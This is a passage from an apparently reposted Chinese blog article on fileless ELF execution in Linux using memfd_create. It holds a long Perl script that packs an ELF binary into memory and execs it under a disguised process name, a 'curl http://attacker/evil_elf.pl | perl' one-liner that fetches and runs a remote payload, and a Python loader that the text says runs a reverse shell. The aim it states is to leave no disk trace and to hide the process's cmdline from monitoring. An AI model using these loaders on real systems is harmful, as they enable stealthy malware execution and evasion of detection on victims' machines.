print $FH pack q/H*/, q/280e60000000000000000000000000000000000000000000a604400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/b604400000000000c604400000000000d604400000000000e604400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000000000000000000004743433a20285562756e747520352e34/ or die qq/write: $!/;
print $FH pack q/H*/, q/2e302d367562756e7475317e31362e30342e31312920352e342e302032303136/ or die qq/write: $!/;
print $FH pack q/H*/, q/3036303900000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000003000100380240000000000000000000000000000000000003000200/ or die qq/write: $!/;
print $FH pack q/H*/, q/5402400000000000000000000000000000000000030003007402400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000300040098024000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000003000500b80240000000000000000000000000000000000003000600/ or die qq/write: $!/;
print $FH pack q/H*/, q/600340000000000000000000000000000000000003000700b003400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/00000000000000000000000003000800c0034000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000003000900e00340000000000000000000000000000000000003000a00/ or die qq/write: $!/;
print $FH pack q/H*/, q/f80340000000000000000000000000000000000003000b007004400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/00000000000000000000000003000c0090044000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000003000d00f00440000000000000000000000000000000000003000e00/ or die qq/write: $!/;
print $FH pack q/H*/, q/000540000000000000000000000000000000000003000f00b406400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/00000000000000000000000003001000c0064000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000003001100ec0640000000000000000000000000000000000003001200/ or die qq/write: $!/;
print $FH pack q/H*/, q/200740000000000000000000000000000000000003001300100e600000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/00000000000000000000000003001400180e6000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000003001500200e60000000000000000000000000000000000003001600/ or die qq/write: $!/;
print $FH pack q/H*/, q/280e60000000000000000000000000000000000003001700f80f600000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000300180000106000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000003001900401060000000000000000000000000000000000003001a00/ or die qq/write: $!/;
print $FH pack q/H*/, q/501060000000000000000000000000000000000003001b000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000010000000400f1ff00000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0c00000001001500200e60000000000000000000000000001900000002000e00/ or die qq/write: $!/;
print $FH pack q/H*/, q/300540000000000000000000000000001b00000002000e007005400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/00000000000000002e00000002000e00b0054000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/4400000001001a00501060000000000001000000000000005300000001001400/ or die qq/write: $!/;
print $FH pack q/H*/, q/180e60000000000000000000000000007a00000002000e00d005400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/00000000000000008600000001001300100e6000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/a50000000400f1ff00000000000000000000000000000000010000000400f1ff/ or die qq/write: $!/;
print $FH pack q/H*/, q/00000000000000000000000000000000b3000000010012001008400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000c100000001001500200e6000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000400f1ff00000000000000000000000000000000cd00000000001300/ or die qq/write: $!/;
print $FH pack q/H*/, q/180e6000000000000000000000000000de00000001001600280e600000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000e700000000001300100e6000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/fa00000000001100ec0640000000000000000000000000000d01000001001800/ or die qq/write: $!/;
print $FH pack q/H*/, q/001060000000000000000000000000002301000012000e00b006400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0200000000000000330100002000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/9d01000020001900401060000000000000000000000000004f01000012000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000061010000100019005010600000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/00000000000000002d01000012000f00b4064000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/6801000012000000000000000000000000000000000000007c01000012000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000000000000000000009b010000100019004010600000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000a80100002000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/b70100001102190048106000000000000000000000000000c401000011001000/ or die qq/write: $!/;
print $FH pack q/H*/, q/c0064000000000000400000000000000d301000012000e004006400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/6500000000000000d900000010001a0058106000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/a101000012000e0000054000000000002a00000000000000e301000010001a00/ or die qq/write: $!/;
print $FH pack q/H*/, q/50106000000000000000000000000000ef01000012000e00f605400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/4500000000000000f40100002000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0802000012000000000000000000000000000000000000001a02000011021900/ or die qq/write: $!/;
print $FH pack q/H*/, q/5010600000000000000000000000000026020000200000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000400200001200000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/dd01000012000b00700440000000000000000000000000000063727473747566/ or die qq/write: $!/;
print $FH pack q/H*/, q/662e63005f5f4a43525f4c4953545f5f00646572656769737465725f746d5f63/ or die qq/write: $!/;
print $FH pack q/H*/, q/6c6f6e6573005f5f646f5f676c6f62616c5f64746f72735f61757800636f6d70/ or die qq/write: $!/;
print $FH pack q/H*/, q/6c657465642e37353934005f5f646f5f676c6f62616c5f64746f72735f617578/ or die qq/write: $!/;
print $FH pack q/H*/, q/5f66696e695f61727261795f656e747279006672616d655f64756d6d79005f5f/ or die qq/write: $!/;
print $FH pack q/H*/, q/6672616d655f64756d6d795f696e69745f61727261795f656e747279006e6577/ or die qq/write: $!/;
print $FH pack q/H*/, q/5f70735f657865632e63005f5f4652414d455f454e445f5f005f5f4a43525f45/ or die qq/write: $!/;
print $FH pack q/H*/, q/4e445f5f005f5f696e69745f61727261795f656e64005f44594e414d4943005f/ or die qq/write: $!/;
print $FH pack q/H*/, q/5f696e69745f61727261795f7374617274005f5f474e555f45485f4652414d45/ or die qq/write: $!/;
print $FH pack q/H*/, q/5f484452005f474c4f42414c5f4f46465345545f5441424c455f005f5f6c6962/ or die qq/write: $!/;
print $FH pack q/H*/, q/635f6373755f66696e69005f49544d5f64657265676973746572544d436c6f6e/ or die qq/write: $!/;
print $FH pack q/H*/, q/655461626c6500707574734040474c4942435f322e322e35005f656461746100/ or die qq/write: $!/;
print $FH pack q/H*/, q/7072696e74664040474c4942435f322e322e35005f5f6c6962635f7374617274/ or die qq/write: $!/;
print $FH pack q/H*/, q/5f6d61696e4040474c4942435f322e322e35005f5f646174615f737461727400/ or die qq/write: $!/;
print $FH pack q/H*/, q/5f5f676d6f6e5f73746172745f5f005f5f64736f5f68616e646c65005f494f5f/ or die qq/write: $!/;
print $FH pack q/H*/, q/737464696e5f75736564005f5f6c6962635f6373755f696e6974005f5f627373/ or die qq/write: $!/;
print $FH pack q/H*/, q/5f7374617274006d61696e005f4a765f5265676973746572436c617373657300/ or die qq/write: $!/;
print $FH pack q/H*/, q/657869744040474c4942435f322e322e35005f5f544d435f454e445f5f005f49/ or die qq/write: $!/;
print $FH pack q/H*/, q/544d5f7265676973746572544d436c6f6e655461626c6500657865636c704040/ or die qq/write: $!/;
print $FH pack q/H*/, q/474c4942435f322e322e3500002e73796d746162002e737472746162002e7368/ or die qq/write: $!/;
print $FH pack q/H*/, q/737472746162002e696e74657270002e6e6f74652e4142492d746167002e6e6f/ or die qq/write: $!/;
print $FH pack q/H*/, q/74652e676e752e6275696c642d6964002e676e752e68617368002e64796e7379/ or die qq/write: $!/;
print $FH pack q/H*/, q/6d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273/ or die qq/write: $!/;
print $FH pack q/H*/, q/696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e697400/ or die qq/write: $!/;
print $FH pack q/H*/, q/2e706c742e676f74002e74657874002e66696e69002e726f64617461002e6568/ or die qq/write: $!/;
print $FH pack q/H*/, q/5f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179/ or die qq/write: $!/;
print $FH pack q/H*/, q/002e66696e695f6172726179002e6a6372002e64796e616d6963002e676f742e/ or die qq/write: $!/;
print $FH pack q/H*/, q/706c74002e64617461002e627373002e636f6d6d656e74000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000001b00000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0200000000000000380240000000000038020000000000001c00000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000010000000000000000000000000000002300000007000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0200000000000000540240000000000054020000000000002000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000040000000000000000000000000000003100000007000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0200000000000000740240000000000074020000000000002400000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/00000000000000000400000000000000000000000000000044000000f6ffff6f/ or die qq/write: $!/;
print $FH pack q/H*/, q/0200000000000000980240000000000098020000000000001c00000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0500000000000000080000000000000000000000000000004e0000000b000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0200000000000000b802400000000000b802000000000000a800000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000001000000080000000000000018000000000000005600000003000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0200000000000000600340000000000060030000000000005000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000010000000000000000000000000000005e000000ffffff6f/ or die qq/write: $!/;
print $FH pack q/H*/, q/0200000000000000b003400000000000b0030000000000000e00000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0500000000000000020000000000000002000000000000006b000000feffff6f/ or die qq/write: $!/;
print $FH pack q/H*/, q/0200000000000000c003400000000000c0030000000000002000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000001000000080000000000000000000000000000007a00000004000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0200000000000000e003400000000000e0030000000000001800000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0500000000000000080000000000000018000000000000008400000004000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/4200000000000000f803400000000000f8030000000000007800000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0500000018000000080000000000000018000000000000008e00000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000000000000700440000000000070040000000000001a00000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000040000000000000000000000000000008900000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000000000000900440000000000090040000000000006000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000100000000000000010000000000000009400000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000000000000f004400000000000f0040000000000000800000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000080000000000000000000000000000009d00000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/060000000000000000054000000000000005000000000000b201000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000010000000000000000000000000000000a300000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000000000000b406400000000000b4060000000000000900000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000004000000000000000000000000000000a900000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0200000000000000c006400000000000c0060000000000002900000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000004000000000000000000000000000000b100000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0200000000000000ec06400000000000ec060000000000003400000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000004000000000000000000000000000000bf00000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/020000000000000020074000000000002007000000000000f400000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000c90000000e000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0300000000000000100e600000000000100e0000000000000800000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000d50000000f000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0300000000000000180e600000000000180e0000000000000800000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000e100000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0300000000000000200e600000000000200e0000000000000800000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000e600000006000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0300000000000000280e600000000000280e000000000000d001000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000000000000080000000000000010000000000000009800000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0300000000000000f80f600000000000f80f0000000000000800000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000008000000000000000800000000000000ef00000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0300000000000000001060000000000000100000000000004000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000008000000000000000800000000000000f800000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0300000000000000401060000000000040100000000000001000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000008000000000000000000000000000000fe00000008000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0300000000000000501060000000000050100000000000000800000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000010000000000000000000000000000000301000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/3000000000000000000000000000000050100000000000003500000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000010000000000000001000000000000001100000003000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000000000000000000006c190000000000000c01000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000010000000000000000000000000000000100000002000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000088100000000000009006000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/1e0000002f000000080000000000000018000000000000000900000003000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000018170000000000005402000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000001000000000000000000000000000000/ or die qq/write: $!/;

print "done\n";

# execute new program
print "here we go...\n";

exec {"/proc/$$/fd/$fd"} "nomal_process name" or die "exec: $!"; 
View Code

netlink的監控消息如下: 

可以看到,netlink監控到的新進程的cmdline被替換為了我們重命名后的”normal_process name“,這起到了進程cmdline隱藏的目的。 

現在我們已經實現在Linux內存中執行ELF文件,不會在磁盤或者文件系統中留下任何痕跡。為了盡快且方便地加載可執行文件,我們可以將帶有ELF文件的腳本通過管道交給Perl解釋器執行:

$ curl http://attacker/evil_elf.pl | perl

4. 使用python進行memfd_create無文件執行

  • 使用memfd_create()系統調用來創建匿名文件
  • 使用可執行ELF文件填充該文件
  • 執行該文件,也可以使用fork()多次執行該文件
import ctypes
import os
# read the executable file. It is a reverse shell in our case
binary = open('./new_ps_exec','rb').read()

fd = ctypes.CDLL(None).syscall(319,"",1) # call memfd_create and create an anonymous file
final_fd = open('/proc/self/fd/'+str(fd),'wb') # write our executable file.
final_fd.write(binary)
final_fd.close()

fork1 = os.fork() #create a child
if 0 != fork1: os._exit(0)

ctypes.CDLL(None).syscall(112) # call setsid() to create a parent.

fork2 = os.fork() #create a child from the parent. 
if 0 != fork2: os._exit(0)

os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') # run our payload.

 

為了在python中調用syscall,我們需要標准的ctypes以及os庫,以便寫入並執行文件、管理進程。所有操作步驟都與perl類似。

在如上代碼中,我們讀取的是位於當前目錄中的一個文件,我們也可以選擇從web服務器遠程加載該文件。

Relevant Link: 

https://www.freebuf.com/sectool/202312.html
https://github.com/rek7/fireELF
https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html
https://mp.weixin.qq.com/s/SdR6ce9xjbS5UQbh14kfgg
https://mp.weixin.qq.com/s/SdR6ce9xjbS5UQbh14kfgg
https://blog.fbkcs. ru/en/elf-in-memory-execution/
https://www.anquanke.com/post/id/168791
http://www.polaris-lab.com/index.php/archives/666/#comment-80 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM